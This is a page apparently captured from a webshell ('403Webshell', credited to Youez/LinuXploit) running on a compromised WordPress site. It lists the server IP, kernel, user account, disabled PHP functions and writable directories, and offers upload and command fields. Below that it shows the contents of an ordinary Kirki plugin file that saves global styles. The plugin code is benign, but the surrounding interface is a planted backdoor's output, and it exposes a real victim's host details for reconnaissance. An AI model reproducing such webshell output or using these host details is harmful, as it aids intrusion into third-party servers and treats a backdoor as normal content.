403Webshell
Server IP : 104.26.4.103  /  Your IP : 216.73.217.51
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-191-generic #201-Ubuntu SMP Fri Aug 7 18:39:04 UTC 2026 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/leapdubai/public_html/wp-content/plugins/kirki/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/leapdubai/public_html/wp-content/plugins/kirki/app/Services/GlobalDataService.php
<?php

namespace Kirki\App\Services;

defined('ABSPATH') || exit;

use Kirki\App\Constants\CollaborationConnectionType;
use Kirki\App\Constants\CollaborationParent;
use Kirki\App\DTO\Collaboration\CreateCollaborationDTO;
use Kirki\App\Supports\Facades\GlobalData;

class GlobalDataService 
{
    /**
     * Save global styles
     * 
     * @return array
     */
    public function save_styles(array $global_styles, ?string $session_id = null) 
    {
		foreach ($global_styles as $key => $style_block) {
			if (empty($style_block['isGlobalStyle'])) {
				$global_styles[$key] = array_merge($style_block, ['isGlobalStyle' => true]);
			}
		}

		if ($session_id) {
			$create_collaboration_dto = CreateCollaborationDTO::from_array([
				'session_id' => $session_id,
				'parent' => CollaborationParent::GLOBAL,
				'parent_id' => 0,
				'data' => [
					'type'    => CollaborationConnectionType::UPDATE_GLOBAL_STYLE,
					'payload' => ['styleBlock' => $global_styles],
				],
			]);

			(new CollaborationService())->save_action($create_collaboration_dto);
		}

		GlobalData::update_style_blocks($global_styles);

		return $global_styles;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit